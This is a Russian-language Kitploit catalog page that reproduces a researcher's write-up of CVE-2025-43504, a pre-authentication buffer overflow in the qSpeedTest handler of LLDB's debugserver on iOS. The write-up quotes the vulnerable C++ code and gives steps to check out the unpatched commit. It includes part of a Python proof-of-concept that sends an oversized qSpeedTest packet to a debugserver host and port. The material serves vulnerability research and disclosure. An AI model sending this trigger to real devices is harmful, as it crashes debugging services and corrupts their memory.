Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-43504 — Технический разбор CVE-2025-43504, удалённого глобального переполнения буфера до аутентификации в debugserver от LLDB для iOS, с кодом PoC и анализом эксплуатации. | Kitploit
Инструменты/GitHubGitHub/calysteon/cve-2025-43504
Безопасность iOSАнализ уязвимостейЭксплуатацияОтладчикиСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Технический разбор CVE-2025-43504, удалённого глобального переполнения буфера до аутентификации в debugserver от LLDB для iOS, с кодом PoC и анализом эксплуатации.

Репозиторий
1710 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Когда хорошие /bin-файлы становятся плохими: удаленное переполнение буфера без аутентификации в debugserver из LLDB


Введение

В детстве я всегда любил рыться в корзинах с DVD в местном Walmart. Я замечал, что многие одни и те же фильмы лежат сверху, но если как следует покопаться, можно найти более интересные и нишевые названия.

Когда программа переполняет буфер, вы, по сути, залезаете рукой в её корзину уценённых товаров. В зависимости от того, насколько глубоко вы залезете, DVD — или, в данном случае, перезаписанные структуры в памяти — могут измениться.

Сегодняшний уценённый /bin — это CVE-2025-43504: удаленное переполнение глобального буфера без аутентификации, найденное мной в debugserver из LLDB.

Как мы до этого дошли?

Во время разработки приложений разработчикам часто требуется отлаживать своё приложение на физическом устройстве iOS. Для этого Xcode монтирует образ разработчика (Developer Disk Image) на целевой iPhone, а затем устанавливает с ним пару.

После установки пары хост macOS может взаимодействовать с клиентом iOS с помощью debugserver, установленного на клиенте. Теперь любой клиент, способный установить GDB-удаленную сессию с debugserver устройства, может обратиться к обработчику qSpeedTest и переполнить уязвимый буфер.

Давайте посмотрим на страницу безопасности Xcode 26.1, чтобы лучше понять, как Apple классифицировала CVE-2025-43504:

CVE-2025-43504

Из-за современных программных средств смягчения Apple считает переполнения буфера в первую очередь проблемой отказа в обслуживании, а не примитивом повреждения. Как мы сегодня увидим, в целом это верно: атакующему придется преодолеть несколько препятствий и, скорее всего, объединить эту проблему с другой ошибкой для достижения произвольного выполнения кода.

Маленький шаг для Pwn, гигантский скачок для Pwn-kind

Если вы хотите поэкспериментировать с исправленной версией debugserver, используйте следующий коммит или любой коммит до ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Вам понадобится отладчик побольше

До исправления в RNBRemote.cpp любой удаленный пользователь, который мог подключиться к debugserver устройства iOS, мог отправить предварительно не аутентифицированный пакет qSpeedTest в RNBRemote::HandlePacket_qSpeedTest и повредить соседние структуры в сегменте глобальных данных debugserver.

Однако есть важное замечание: мы управляем только длиной повреждения. Содержимое полезной нагрузки фиксировано и представляет собой поток символов 'a'. Хотя студенты могут радоваться стабильно высоким оценкам, практическая полезность этого переполнения сильно ограничена тем фактом, что мы не можем контролировать фактические записываемые байты — только то, как далеко заходит поток символов 'a'.

Теперь давайте заглянем внутрь RNBRemote::HandlePacket_qSpeedTest, чтобы точно понять, что происходит:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // Мы управляем длиной response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // Переполнение g_data символами 'a' происходит здесь
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

Роль RNBRemote::HandlePacket_qSpeedTest() — обрабатывать входящие пакеты qSpeedTest:response_size:<hex>; без требования аутентификации от удаленного пользователя, который может взаимодействовать с бинарным файлом debugserver на устройстве iOS.

Однако, как только удаленный пользователь может отправить пакет qSpeedTest:response_size:<hex>; на debugserver, в debugserver не происходит никаких проверок аутентификации перед обработкой предоставленного пользователем response_size. Поэтому любой пользователь, который может взаимодействовать с устройством iOS, на котором смонтирован образ разработчика, может переполнить debugserver с помощью пакета qSpeedTest:response_size:<hex>;.

Просто плыви, плыви, плыви

Теперь, когда мы добрались до уязвимой функции RNBRemote::HandlePacket_qSpeedTest(), давайте точно рассмотрим, как происходит переполнение. Сначала из пакета qSpeedTest:response_size:<hex>; извлекается указанный пользователем размер <hex> и сохраняется в переменной response_size:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Если синтаксический анализ успешен и следующим символом является точка с запятой, инициализируется локальный статический буфер размером 4 МиБ + 16 байт g_data и заполняется заголовком ASCII "data:":

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Ой, я снова это сделала

Собирая всё вместе, memset затем заполняет статический буфер g_data размером 4 МиБ + 16 байт символами 'a', используя указанное пользователем значение response_size как количество символов 'a'.

  // Переполнение g_data символами 'a' происходит здесь
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Поэтому каждый раз, когда удаленный клиент LLDB отправляет пакет qSpeedTest:response_size:<hex>; с response_size, превышающим размер буфера 4 МиБ + 16 байт, происходит переполнение буфера и повреждаются соседние глобальные переменные, хранящиеся в сегменте глобальных данных (.bss) debugserver.

Когда хорошие /bin-файлы становятся плохими

Теперь, когда мы понимаем архитектуру, стоящую за переполнением, давайте погрузимся в фактические механизмы уязвимости. Для начала используем следующую программу на Python, чтобы исследовать примитивы повреждения, получаемые через переполнение g_data:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # отправка oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Небольшой дополнительный толчок для проверки использования указателя
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass
Скачать инструмент